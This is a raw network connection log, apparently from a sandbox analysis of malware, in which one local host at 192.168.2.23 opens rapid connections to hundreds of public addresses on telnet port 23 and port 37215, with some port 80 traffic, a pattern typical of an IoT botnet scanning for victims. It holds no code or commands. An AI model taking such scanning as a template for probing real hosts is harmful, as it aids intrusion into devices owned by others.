Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	13.189.152.241
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	37.90.136.73
Dec 3, 2024 22:16:49.518851042 CET	37963	23	192.168.2.23	85.231.34.2
Dec 3, 2024 22:16:49.518851042 CET	37451	37215	192.168.2.23	41.25.209.15
Dec 3, 2024 22:16:49.518898964 CET	37451	37215	192.168.2.23	156.239.0.165
Dec 3, 2024 22:16:49.518898964 CET	37963	23	192.168.2.23	115.11.198.51
Dec 3, 2024 22:16:49.518912077 CET	37451	37215	192.168.2.23	156.153.163.235
Dec 3, 2024 22:16:49.518912077 CET	37963	23	192.168.2.23	111.248.15.18
Dec 3, 2024 22:16:49.518912077 CET	37963	23	192.168.2.23	18.170.14.89
Dec 3, 2024 22:16:49.518912077 CET	37963	23	192.168.2.23	144.173.13.132
Dec 3, 2024 22:16:49.518912077 CET	37963	23	192.168.2.23	161.181.11.207
Dec 3, 2024 22:16:49.518915892 CET	37451	37215	192.168.2.23	156.193.6.244
Dec 3, 2024 22:16:49.518915892 CET	37451	37215	192.168.2.23	197.191.38.185
Dec 3, 2024 22:16:49.518915892 CET	37963	23	192.168.2.23	183.154.210.81
Dec 3, 2024 22:16:49.518915892 CET	37963	23	192.168.2.23	102.30.133.215
Dec 3, 2024 22:16:49.518915892 CET	37963	23	192.168.2.23	20.180.104.7
Dec 3, 2024 22:16:49.518917084 CET	37963	23	192.168.2.23	78.28.216.220
Dec 3, 2024 22:16:49.518918037 CET	37451	37215	192.168.2.23	41.31.71.153
Dec 3, 2024 22:16:49.518917084 CET	37963	23	192.168.2.23	13.241.87.135
Dec 3, 2024 22:16:49.518918991 CET	37963	23	192.168.2.23	85.29.125.3
Dec 3, 2024 22:16:49.518919945 CET	37451	37215	192.168.2.23	197.130.109.162
Dec 3, 2024 22:16:49.518917084 CET	37451	37215	192.168.2.23	41.247.152.35
Dec 3, 2024 22:16:49.518918037 CET	37451	37215	192.168.2.23	156.139.246.25
Dec 3, 2024 22:16:49.518919945 CET	37451	37215	192.168.2.23	197.145.84.190
Dec 3, 2024 22:16:49.518918037 CET	37963	23	192.168.2.23	36.22.35.221
Dec 3, 2024 22:16:49.518919945 CET	37963	23	192.168.2.23	177.25.175.252
Dec 3, 2024 22:16:49.518917084 CET	37963	23	192.168.2.23	32.69.32.244
Dec 3, 2024 22:16:49.518919945 CET	37963	23	192.168.2.23	114.4.163.235
Dec 3, 2024 22:16:49.518917084 CET	37451	37215	192.168.2.23	197.201.75.226
Dec 3, 2024 22:16:49.518917084 CET	37451	37215	192.168.2.23	156.83.163.250
Dec 3, 2024 22:16:49.518917084 CET	37963	23	192.168.2.23	82.72.90.197
Dec 3, 2024 22:16:49.518982887 CET	80	54340	89.199.198.11	192.168.2.23
Dec 3, 2024 22:16:49.518996000 CET	37451	37215	192.168.2.23	156.50.203.52
Dec 3, 2024 22:16:49.518996000 CET	37451	37215	192.168.2.23	156.245.180.101
Dec 3, 2024 22:16:49.518996000 CET	37963	23	192.168.2.23	223.163.175.142
Dec 3, 2024 22:16:49.518996000 CET	37963	23	192.168.2.23	19.220.171.111
Dec 3, 2024 22:16:49.518996000 CET	37963	23	192.168.2.23	186.254.67.123
Dec 3, 2024 22:16:49.518996000 CET	37963	23	192.168.2.23	209.194.124.40
Dec 3, 2024 22:16:49.518996954 CET	37963	23	192.168.2.23	156.43.100.184
Dec 3, 2024 22:16:49.518996954 CET	37451	37215	192.168.2.23	197.0.14.117
Dec 3, 2024 22:16:49.518997908 CET	23	49762	84.250.63.142	192.168.2.23
Dec 3, 2024 22:16:49.518996954 CET	37963	23	192.168.2.23	204.60.9.195
Dec 3, 2024 22:16:49.518996954 CET	37963	23	192.168.2.23	77.189.100.159
Dec 3, 2024 22:16:49.518996954 CET	37451	37215	192.168.2.23	197.110.217.203
Dec 3, 2024 22:16:49.518996954 CET	37963	23	192.168.2.23	159.59.57.97
Dec 3, 2024 22:16:49.518996954 CET	37963	23	192.168.2.23	218.168.32.140
Dec 3, 2024 22:16:49.518996954 CET	37963	23	192.168.2.23	128.116.254.142
Dec 3, 2024 22:16:49.518999100 CET	37451	37215	192.168.2.23	156.39.58.112
Dec 3, 2024 22:16:49.518999100 CET	37451	37215	192.168.2.23	197.116.67.71
Dec 3, 2024 22:16:49.518999100 CET	37451	37215	192.168.2.23	41.71.6.118
Dec 3, 2024 22:16:49.519000053 CET	37451	37215	192.168.2.23	156.74.219.25
Dec 3, 2024 22:16:49.519000053 CET	37963	23	192.168.2.23	114.137.40.142
Dec 3, 2024 22:16:49.519000053 CET	37963	23	192.168.2.23	82.226.80.154
Dec 3, 2024 22:16:49.518999100 CET	37451	37215	192.168.2.23	41.108.222.243
Dec 3, 2024 22:16:49.519000053 CET	37963	23	192.168.2.23	189.1.229.110
Dec 3, 2024 22:16:49.519002914 CET	37963	23	192.168.2.23	71.254.185.89
Dec 3, 2024 22:16:49.519001007 CET	37963	23	192.168.2.23	95.189.218.34
Dec 3, 2024 22:16:49.519002914 CET	37963	23	192.168.2.23	60.225.200.99
Dec 3, 2024 22:16:49.519006968 CET	37963	23	192.168.2.23	216.178.103.33
Dec 3, 2024 22:16:49.519000053 CET	37963	23	192.168.2.23	157.13.198.239
Dec 3, 2024 22:16:49.519001007 CET	37963	23	192.168.2.23	37.199.186.241
Dec 3, 2024 22:16:49.519002914 CET	37963	23	192.168.2.23	107.169.148.112
Dec 3, 2024 22:16:49.519009113 CET	37451	37215	192.168.2.23	197.197.228.168
Dec 3, 2024 22:16:49.519000053 CET	37963	23	192.168.2.23	170.145.224.219
Dec 3, 2024 22:16:49.519002914 CET	37451	37215	192.168.2.23	41.44.229.248
Dec 3, 2024 22:16:49.519000053 CET	37451	37215	192.168.2.23	197.76.232.48
Dec 3, 2024 22:16:49.519002914 CET	37963	23	192.168.2.23	110.250.107.155
Dec 3, 2024 22:16:49.519000053 CET	37451	37215	192.168.2.23	156.169.101.202
Dec 3, 2024 22:16:49.518999100 CET	37963	23	192.168.2.23	106.178.187.128
Dec 3, 2024 22:16:49.519001007 CET	37451	37215	192.168.2.23	41.131.112.101
Dec 3, 2024 22:16:49.519001007 CET	37451	37215	192.168.2.23	156.14.229.149
Dec 3, 2024 22:16:49.519000053 CET	37963	23	192.168.2.23	129.70.42.204
Dec 3, 2024 22:16:49.519001007 CET	37451	37215	192.168.2.23	156.49.184.158
Dec 3, 2024 22:16:49.519000053 CET	37963	23	192.168.2.23	90.218.148.213
Dec 3, 2024 22:16:49.519002914 CET	37963	23	192.168.2.23	68.77.233.125
Dec 3, 2024 22:16:49.519009113 CET	37963	23	192.168.2.23	166.197.85.240
Dec 3, 2024 22:16:49.518999100 CET	37451	37215	192.168.2.23	197.126.160.226
Dec 3, 2024 22:16:49.519006968 CET	37451	37215	192.168.2.23	156.123.136.227
Dec 3, 2024 22:16:49.519009113 CET	37451	37215	192.168.2.23	197.230.239.60
Dec 3, 2024 22:16:49.518999100 CET	37963	23	192.168.2.23	163.192.69.126
Dec 3, 2024 22:16:49.519001007 CET	37451	37215	192.168.2.23	41.9.207.143
Dec 3, 2024 22:16:49.519006968 CET	37963	23	192.168.2.23	143.63.49.164
Dec 3, 2024 22:16:49.519001007 CET	37963	23	192.168.2.23	98.194.213.179
Dec 3, 2024 22:16:49.519002914 CET	37963	23	192.168.2.23	182.205.140.89
Dec 3, 2024 22:16:49.519030094 CET	37451	37215	192.168.2.23	156.20.53.175
Dec 3, 2024 22:16:49.519009113 CET	37963	23	192.168.2.23	93.182.242.122
Dec 3, 2024 22:16:49.519002914 CET	37963	23	192.168.2.23	34.193.202.169
Dec 3, 2024 22:16:49.519001007 CET	37451	37215	192.168.2.23	197.251.126.103
Dec 3, 2024 22:16:49.519009113 CET	37963	23	192.168.2.23	61.101.37.64
Dec 3, 2024 22:16:49.519001007 CET	37451	37215	192.168.2.23	197.3.28.207
Dec 3, 2024 22:16:49.519009113 CET	37963	23	192.168.2.23	100.218.47.32
Dec 3, 2024 22:16:49.519009113 CET	37963	23	192.168.2.23	59.58.20.217
Dec 3, 2024 22:16:49.519009113 CET	37451	37215	192.168.2.23	156.115.137.52
Dec 3, 2024 22:16:49.519001007 CET	37451	37215	192.168.2.23	197.65.241.165
Dec 3, 2024 22:16:49.519006968 CET	37451	37215	192.168.2.23	197.111.117.67
Dec 3, 2024 22:16:49.518999100 CET	37451	37215	192.168.2.23	41.212.253.178
Dec 3, 2024 22:16:49.519006968 CET	37451	37215	192.168.2.23	156.210.255.162
Dec 3, 2024 22:16:49.519006968 CET	37963	23	192.168.2.23	196.46.255.29
Dec 3, 2024 22:16:49.519030094 CET	37963	23	192.168.2.23	122.45.129.188
Dec 3, 2024 22:16:49.519030094 CET	37451	37215	192.168.2.23	197.50.90.61
Dec 3, 2024 22:16:49.519030094 CET	37963	23	192.168.2.23	209.69.6.83
Dec 3, 2024 22:16:49.519030094 CET	37963	23	192.168.2.23	164.79.46.129
Dec 3, 2024 22:16:49.519041061 CET	37451	37215	192.168.2.23	41.129.144.149
Dec 3, 2024 22:16:49.519030094 CET	37451	37215	192.168.2.23	41.145.106.92
Dec 3, 2024 22:16:49.519041061 CET	37963	23	192.168.2.23	40.187.48.56
Dec 3, 2024 22:16:49.519042969 CET	37963	23	192.168.2.23	88.80.233.73
Dec 3, 2024 22:16:49.519030094 CET	37963	23	192.168.2.23	197.164.150.134
Dec 3, 2024 22:16:49.519042969 CET	37451	37215	192.168.2.23	156.239.68.92
Dec 3, 2024 22:16:49.519030094 CET	37451	37215	192.168.2.23	197.240.156.111
Dec 3, 2024 22:16:49.519042969 CET	37451	37215	192.168.2.23	41.225.154.169
Dec 3, 2024 22:16:49.519047976 CET	37451	37215	192.168.2.23	197.229.112.163
Dec 3, 2024 22:16:49.519048929 CET	37963	23	192.168.2.23	129.95.23.128
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	130.174.252.144
Dec 3, 2024 22:16:49.519042969 CET	37451	37215	192.168.2.23	41.87.43.9
Dec 3, 2024 22:16:49.519049883 CET	37963	23	192.168.2.23	68.138.81.25
Dec 3, 2024 22:16:49.519047976 CET	37963	23	192.168.2.23	105.186.113.217
Dec 3, 2024 22:16:49.519042015 CET	37451	37215	192.168.2.23	41.247.104.144
Dec 3, 2024 22:16:49.519047976 CET	37963	23	192.168.2.23	199.3.14.8
Dec 3, 2024 22:16:49.519048929 CET	37963	23	192.168.2.23	32.194.128.207
Dec 3, 2024 22:16:49.519042015 CET	37963	23	192.168.2.23	103.96.99.112
Dec 3, 2024 22:16:49.519042969 CET	37963	23	192.168.2.23	65.249.138.183
Dec 3, 2024 22:16:49.519053936 CET	37963	23	192.168.2.23	147.52.11.139
Dec 3, 2024 22:16:49.519049883 CET	37451	37215	192.168.2.23	41.179.11.220
Dec 3, 2024 22:16:49.519042015 CET	37963	23	192.168.2.23	99.161.203.160
Dec 3, 2024 22:16:49.519049883 CET	37963	23	192.168.2.23	1.194.166.135
Dec 3, 2024 22:16:49.519057989 CET	37963	23	192.168.2.23	102.234.171.236
Dec 3, 2024 22:16:49.519047976 CET	37451	37215	192.168.2.23	41.134.238.55
Dec 3, 2024 22:16:49.519051075 CET	37451	37215	192.168.2.23	197.56.61.10
Dec 3, 2024 22:16:49.519049883 CET	37451	37215	192.168.2.23	156.223.180.51
Dec 3, 2024 22:16:49.519053936 CET	37963	23	192.168.2.23	190.19.1.234
Dec 3, 2024 22:16:49.519049883 CET	37451	37215	192.168.2.23	41.182.233.247
Dec 3, 2024 22:16:49.519051075 CET	37451	37215	192.168.2.23	156.94.181.72
Dec 3, 2024 22:16:49.519053936 CET	37963	23	192.168.2.23	69.110.148.199
Dec 3, 2024 22:16:49.519057989 CET	37963	23	192.168.2.23	185.146.134.7
Dec 3, 2024 22:16:49.519048929 CET	37451	37215	192.168.2.23	41.243.41.201
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	27.120.103.187
Dec 3, 2024 22:16:49.519053936 CET	37963	23	192.168.2.23	91.71.208.12
Dec 3, 2024 22:16:49.519048929 CET	37963	23	192.168.2.23	62.204.105.51
Dec 3, 2024 22:16:49.519053936 CET	37451	37215	192.168.2.23	197.51.37.115
Dec 3, 2024 22:16:49.519042969 CET	37963	23	192.168.2.23	117.124.71.244
Dec 3, 2024 22:16:49.519049883 CET	37963	23	192.168.2.23	218.16.115.74
Dec 3, 2024 22:16:49.519057989 CET	37963	23	192.168.2.23	32.136.37.170
Dec 3, 2024 22:16:49.519048929 CET	37451	37215	192.168.2.23	156.180.210.135
Dec 3, 2024 22:16:49.519047976 CET	37451	37215	192.168.2.23	41.49.43.124
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	117.14.33.173
Dec 3, 2024 22:16:49.519057989 CET	37451	37215	192.168.2.23	197.86.54.13
Dec 3, 2024 22:16:49.519048929 CET	37963	23	192.168.2.23	41.37.154.23
Dec 3, 2024 22:16:49.519057989 CET	37963	23	192.168.2.23	66.214.27.26
Dec 3, 2024 22:16:49.519049883 CET	37963	23	192.168.2.23	208.73.169.134
Dec 3, 2024 22:16:49.519047976 CET	37451	37215	192.168.2.23	197.50.94.202
Dec 3, 2024 22:16:49.519049883 CET	37963	23	192.168.2.23	2.87.15.125
Dec 3, 2024 22:16:49.519057989 CET	37963	23	192.168.2.23	42.212.219.56
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	53.72.199.93
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	137.153.62.74
Dec 3, 2024 22:16:49.519053936 CET	37451	37215	192.168.2.23	197.51.30.22
Dec 3, 2024 22:16:49.519042969 CET	37963	23	192.168.2.23	187.209.184.169
Dec 3, 2024 22:16:49.519053936 CET	37963	23	192.168.2.23	124.185.25.114
Dec 3, 2024 22:16:49.519057989 CET	37963	23	192.168.2.23	140.21.105.26
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	19.51.63.161
Dec 3, 2024 22:16:49.519053936 CET	37451	37215	192.168.2.23	197.82.123.189
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	193.235.41.130
Dec 3, 2024 22:16:49.519042969 CET	37963	23	192.168.2.23	102.235.141.74
Dec 3, 2024 22:16:49.519042015 CET	37963	23	192.168.2.23	20.97.208.3
Dec 3, 2024 22:16:49.519051075 CET	37963	23	192.168.2.23	85.251.19.110
Dec 3, 2024 22:16:49.519042015 CET	37963	23	192.168.2.23	133.78.45.81
Dec 3, 2024 22:16:49.519057989 CET	37963	23	192.168.2.23	32.17.173.253
Dec 3, 2024 22:16:49.519042015 CET	37963	23	192.168.2.23	94.118.23.227
Dec 3, 2024 22:16:49.519097090 CET	37451	37215	192.168.2.23	41.184.179.150
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	179.74.31.60
Dec 3, 2024 22:16:49.519097090 CET	37451	37215	192.168.2.23	197.99.86.15
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	73.156.4.130
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	46.36.37.74
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	193.119.116.163
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	176.0.1.43
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	79.91.229.111
Dec 3, 2024 22:16:49.519098043 CET	37963	23	192.168.2.23	155.122.88.248
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	118.130.98.90
Dec 3, 2024 22:16:49.519098043 CET	37451	37215	192.168.2.23	197.243.32.155
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	46.131.133.228
Dec 3, 2024 22:16:49.519098043 CET	37963	23	192.168.2.23	36.149.16.34
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	140.206.68.196
Dec 3, 2024 22:16:49.519098043 CET	37963	23	192.168.2.23	134.49.141.120
Dec 3, 2024 22:16:49.519097090 CET	37963	23	192.168.2.23	138.51.205.76
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	175.79.176.64
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	75.119.246.216
Dec 3, 2024 22:16:49.519105911 CET	37963	23	192.168.2.23	208.253.184.84
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	46.62.128.208
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	135.219.79.177
Dec 3, 2024 22:16:49.519105911 CET	37963	23	192.168.2.23	48.86.219.200
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	161.57.117.114
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	207.165.236.183
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	196.144.160.227
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	17.42.52.228
Dec 3, 2024 22:16:49.519105911 CET	37963	23	192.168.2.23	64.123.144.149
Dec 3, 2024 22:16:49.519109011 CET	37963	23	192.168.2.23	24.33.223.203
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	129.122.177.214
Dec 3, 2024 22:16:49.519105911 CET	37963	23	192.168.2.23	195.187.197.252
Dec 3, 2024 22:16:49.519109011 CET	37963	23	192.168.2.23	154.112.35.128
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	152.96.13.174
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	23.189.253.28
Dec 3, 2024 22:16:49.519113064 CET	37963	23	192.168.2.23	93.206.250.52
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	128.47.5.219
Dec 3, 2024 22:16:49.519105911 CET	37963	23	192.168.2.23	131.94.92.96
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	173.122.7.64
Dec 3, 2024 22:16:49.519114971 CET	37963	23	192.168.2.23	8.203.45.109
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	184.182.52.191
Dec 3, 2024 22:16:49.519114971 CET	54340	80	192.168.2.23	89.199.198.11
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	172.225.101.148
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	209.237.32.72
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	57.214.187.113
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	2.83.49.19
Dec 3, 2024 22:16:49.519104958 CET	37963	23	192.168.2.23	167.250.106.23
Dec 3, 2024 22:16:49.519118071 CET	49762	23	192.168.2.23	84.250.63.142
Dec 3, 2024 22:16:49.519124031 CET	37963	23	192.168.2.23	185.209.248.45
Dec 3, 2024 22:16:49.519126892 CET	37963	23	192.168.2.23	169.231.127.20
Dec 3, 2024 22:16:49.519128084 CET	37963	23	192.168.2.23	173.38.83.38
Dec 3, 2024 22:16:49.519133091 CET	37963	23	192.168.2.23	177.101.22.40
Dec 3, 2024 22:16:49.519133091 CET	37963	23	192.168.2.23	103.255.159.216
Dec 3, 2024 22:16:49.519133091 CET	37963	23	192.168.2.23	8.86.7.244
Dec 3, 2024 22:16:49.519133091 CET	37963	23	192.168.2.23	61.1.60.115
Dec 3, 2024 22:16:49.519136906 CET	37963	23	192.168.2.23	145.70.174.125
Dec 3, 2024 22:16:49.519138098 CET	37963	23	192.168.2.23	78.19.254.78
Dec 3, 2024 22:16:49.519138098 CET	37963	23	192.168.2.23	149.229.123.122
Dec 3, 2024 22:16:49.519139051 CET	37963	23	192.168.2.23	49.211.231.117
Dec 3, 2024 22:16:49.519138098 CET	37963	23	192.168.2.23	178.12.208.20
Dec 3, 2024 22:16:49.519138098 CET	37963	23	192.168.2.23	135.234.129.22
Dec 3, 2024 22:16:49.519141912 CET	37963	23	192.168.2.23	182.91.82.249
Dec 3, 2024 22:16:49.519144058 CET	80	39680	149.70.197.245	192.168.2.23
Dec 3, 2024 22:16:49.519151926 CET	37963	23	192.168.2.23	172.217.160.128
Dec 3, 2024 22:16:49.519151926 CET	37963	23	192.168.2.23	124.253.115.139
Dec 3, 2024 22:16:49.519151926 CET	37963	23	192.168.2.23	20.64.38.122
Dec 3, 2024 22:16:49.519151926 CET	37963	23	192.168.2.23	41.102.235.216
Dec 3, 2024 22:16:49.519153118 CET	37963	23	192.168.2.23	60.58.185.50
Dec 3, 2024 22:16:49.519151926 CET	37963	23	192.168.2.23	199.129.1.162
Dec 3, 2024 22:16:49.519154072 CET	37963	23	192.168.2.23	189.156.192.69
Dec 3, 2024 22:16:49.519154072 CET	80	44588	186.244.224.1	192.168.2.23
Dec 3, 2024 22:16:49.519157887 CET	37963	23	192.168.2.23	162.160.72.237
Dec 3, 2024 22:16:49.519162893 CET	37963	23	192.168.2.23	51.190.221.122
Dec 3, 2024 22:16:49.519162893 CET	37963	23	192.168.2.23	42.14.245.159
Dec 3, 2024 22:16:49.519165993 CET	80	41218	72.185.180.188	192.168.2.23
Dec 3, 2024 22:16:49.519171000 CET	37963	23	192.168.2.23	200.88.12.232
Dec 3, 2024 22:16:49.519171953 CET	37963	23	192.168.2.23	186.65.177.181
Dec 3, 2024 22:16:49.519171953 CET	37963	23	192.168.2.23	61.82.5.199
Dec 3, 2024 22:16:49.519174099 CET	80	48866	49.132.127.254	192.168.2.23
Dec 3, 2024 22:16:49.519180059 CET	37963	23	192.168.2.23	121.23.220.50
Dec 3, 2024 22:16:49.519180059 CET	37963	23	192.168.2.23	178.170.86.83
Dec 3, 2024 22:16:49.519181013 CET	37963	23	192.168.2.23	183.179.108.200
Dec 3, 2024 22:16:49.519181967 CET	37963	23	192.168.2.23	92.150.120.211
Dec 3, 2024 22:16:49.519181967 CET	37963	23	192.168.2.23	102.243.49.174
Dec 3, 2024 22:16:49.519181013 CET	37963	23	192.168.2.23	151.150.186.190
Dec 3, 2024 22:16:49.519185066 CET	37963	23	192.168.2.23	57.121.133.244
Dec 3, 2024 22:16:49.519192934 CET	80	37904	208.170.5.222	192.168.2.23
Dec 3, 2024 22:16:49.519196987 CET	44588	80	192.168.2.23	186.244.224.1
Dec 3, 2024 22:16:49.519196987 CET	37963	23	192.168.2.23	12.237.196.33
Dec 3, 2024 22:16:49.519198895 CET	37963	23	192.168.2.23	17.118.119.19
Dec 3, 2024 22:16:49.519198895 CET	37963	23	192.168.2.23	25.178.110.89
Dec 3, 2024 22:16:49.519202948 CET	37963	23	192.168.2.23	149.227.227.11
Dec 3, 2024 22:16:49.519203901 CET	37963	23	192.168.2.23	130.178.23.89
Dec 3, 2024 22:16:49.519203901 CET	37963	23	192.168.2.23	42.127.213.243
Dec 3, 2024 22:16:49.519203901 CET	37963	23	192.168.2.23	146.184.215.97
Dec 3, 2024 22:16:49.519203901 CET	37963	23	192.168.2.23	157.82.220.250
Dec 3, 2024 22:16:49.519203901 CET	37963	23	192.168.2.23	90.109.220.81
Dec 3, 2024 22:16:49.519203901 CET	37963	23	192.168.2.23	92.104.147.193
Dec 3, 2024 22:16:49.519203901 CET	37963	23	192.168.2.23	19.134.110.112
Dec 3, 2024 22:16:49.519206047 CET	37963	23	192.168.2.23	199.86.241.204
Dec 3, 2024 22:16:49.519206047 CET	39680	80	192.168.2.23	149.70.197.245
Dec 3, 2024 22:16:49.519206047 CET	37963	23	192.168.2.23	133.28.201.127
Dec 3, 2024 22:16:49.519206047 CET	37963	23	192.168.2.23	39.24.225.151
Dec 3, 2024 22:16:49.519208908 CET	80	52248	182.205.184.220	192.168.2.23
Dec 3, 2024 22:16:49.519221067 CET	37963	23	192.168.2.23	157.169.95.199
Dec 3, 2024 22:16:49.519222021 CET	37963	23	192.168.2.23	167.125.101.136
Dec 3, 2024 22:16:49.519222021 CET	37963	23	192.168.2.23	1.37.48.191
Dec 3, 2024 22:16:49.519222021 CET	80	40602	18.120.91.237	192.168.2.23
Dec 3, 2024 22:16:49.519222021 CET	37963	23	192.168.2.23	211.24.100.231
Dec 3, 2024 22:16:49.519223928 CET	37963	23	192.168.2.23	12.178.253.28
Dec 3, 2024 22:16:49.519227982 CET	37963	23	192.168.2.23	195.91.25.93
Dec 3, 2024 22:16:49.519234896 CET	23	51832	207.205.163.55	192.168.2.23
Dec 3, 2024 22:16:49.519238949 CET	37963	23	192.168.2.23	71.197.6.122
Dec 3, 2024 22:16:49.519242048 CET	48866	80	192.168.2.23	49.132.127.254
Dec 3, 2024 22:16:49.519242048 CET	59838	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:49.519243002 CET	37963	23	192.168.2.23	166.101.35.167
Dec 3, 2024 22:16:49.519243956 CET	41218	80	192.168.2.23	72.185.180.188
Dec 3, 2024 22:16:49.519243956 CET	80	37786	66.28.161.170	192.168.2.23
Dec 3, 2024 22:16:49.519243956 CET	37963	23	192.168.2.23	14.209.36.133
Dec 3, 2024 22:16:49.519243956 CET	37963	23	192.168.2.23	140.120.168.49
Dec 3, 2024 22:16:49.519249916 CET	37963	23	192.168.2.23	111.149.19.242
Dec 3, 2024 22:16:49.519253969 CET	80	33070	116.198.57.17	192.168.2.23
Dec 3, 2024 22:16:49.519257069 CET	80	44064	2.116.62.181	192.168.2.23
Dec 3, 2024 22:16:49.519260883 CET	80	48268	70.167.174.224	192.168.2.23
Dec 3, 2024 22:16:49.519273996 CET	80	52836	83.119.82.146	192.168.2.23
Dec 3, 2024 22:16:49.519280910 CET	59838	80	192.168.2.23	8.163.124.143
Dec 3, 2024 22:16:49.519280910 CET	37963	23	192.168.2.23	126.186.88.30
Dec 3, 2024 22:16:49.519280910 CET	37963	23	192.168.2.23	210.131.42.219
Dec 3, 2024 22:16:49.519285917 CET	37963	23	192.168.2.23	190.234.155.117
Dec 3, 2024 22:16:49.519287109 CET	37963	23	192.168.2.23	80.226.193.15
Dec 3, 2024 22:16:49.519287109 CET	37904	80	192.168.2.23	208.170.5.222
Dec 3, 2024 22:16:49.519287109 CET	37963	23	192.168.2.23	165.81.190.219
Dec 3, 2024 22:16:49.519288063 CET	37963	23	192.168.2.23	142.173.66.210
Dec 3, 2024 22:16:49.519289970 CET	37963	23	192.168.2.23	71.54.233.15
Dec 3, 2024 22:16:49.519289970 CET	80	60926	32.60.240.155	192.168.2.23
Dec 3, 2024 22:16:49.519287109 CET	51832	23	192.168.2.23	207.205.163.55
Dec 3, 2024 22:16:49.519288063 CET	37963	23	192.168.2.23	158.247.32.94
Dec 3, 2024 22:16:49.519290924 CET	37963	23	192.168.2.23	93.111.38.140
Dec 3, 2024 22:16:49.519287109 CET	37963	23	192.168.2.23	58.95.20.172
Dec 3, 2024 22:16:49.519289970 CET	37963	23	192.168.2.23	58.126.218.130
Dec 3, 2024 22:16:49.519289017 CET	37963	23	192.168.2.23	221.127.214.145
Dec 3, 2024 22:16:49.519289970 CET	52248	80	192.168.2.23	182.205.184.220
Dec 3, 2024 22:16:49.519288063 CET	37963	23	192.168.2.23	25.37.53.20
Dec 3, 2024 22:16:49.519289017 CET	37963	23	192.168.2.23	221.60.228.123
Dec 3, 2024 22:16:49.519287109 CET	40602	80	192.168.2.23	18.120.91.237
Dec 3, 2024 22:16:49.519298077 CET	37963	23	192.168.2.23	119.88.87.41
Dec 3, 2024 22:16:49.519289970 CET	37963	23	192.168.2.23	136.17.113.54
Dec 3, 2024 22:16:49.519298077 CET	37963	23	192.168.2.23	220.91.99.119
Dec 3, 2024 22:16:49.519304037 CET	37963	23	192.168.2.23	139.100.2.143
Dec 3, 2024 22:16:49.519309998 CET	37963	23	192.168.2.23	171.61.161.96
Dec 3, 2024 22:16:49.519309998 CET	37963	23	192.168.2.23	79.26.244.141
Dec 3, 2024 22:16:49.519325018 CET	33070	80	192.168.2.23	116.198.57.17
Dec 3, 2024 22:16:49.519325018 CET	48268	80	192.168.2.23	70.167.174.224
Dec 3, 2024 22:16:49.519325018 CET	44064	80	192.168.2.23	2.116.62.181
Dec 3, 2024 22:16:49.519325018 CET	52836	80	192.168.2.23	83.119.82.146
Dec 3, 2024 22:16:49.519325018 CET	60926	80	192.168.2.23	32.60.240.155
Dec 3, 2024 22:16:49.519325972 CET	37786	80	192.168.2.23	66.28.161.170
Dec 3, 2024 22:16:49.519345045 CET	37963	23	192.168.2.23	14.145.108.207
Dec 3, 2024 22:16:49.519377947 CET	37963	23	192.168.2.23	58.52.147.184
Dec 3, 2024 22:16:49.519423008 CET	37963	23	192.168.2.23	182.168.222.28
Dec 3, 2024 22:16:49.519423008 CET	37963	23	192.168.2.23	207.226.30.24
Dec 3, 2024 22:16:49.519429922 CET	37963	23	192.168.2.23	37.181.180.25
Dec 3, 2024 22:16:49.519429922 CET	37963	23	192.168.2.23	208.240.60.27
Dec 3, 2024 22:16:49.519431114 CET	37963	23	192.168.2.23	53.176.245.167
Dec 3, 2024 22:16:49.519429922 CET	37963	23	192.168.2.23	27.231.3.172
Dec 3, 2024 22:16:49.519431114 CET	37963	23	192.168.2.23	206.122.103.17
Dec 3, 2024 22:16:49.519429922 CET	37963	23	192.168.2.23	8.244.162.161
Dec 3, 2024 22:16:49.519429922 CET	37963	23	192.168.2.23	125.51.136.172
Dec 3, 2024 22:16:49.519438028 CET	37963	23	192.168.2.23	151.46.63.4
Dec 3, 2024 22:16:49.519438028 CET	37963	23	192.168.2.23	212.235.8.208
Dec 3, 2024 22:16:49.519438028 CET	37963	23	192.168.2.23	107.238.106.137
Dec 3, 2024 22:16:49.519438982 CET	37963	23	192.168.2.23	160.126.42.78
Dec 3, 2024 22:16:49.519438028 CET	37963	23	192.168.2.23	90.206.144.163
Dec 3, 2024 22:16:49.519439936 CET	37963	23	192.168.2.23	9.172.100.110
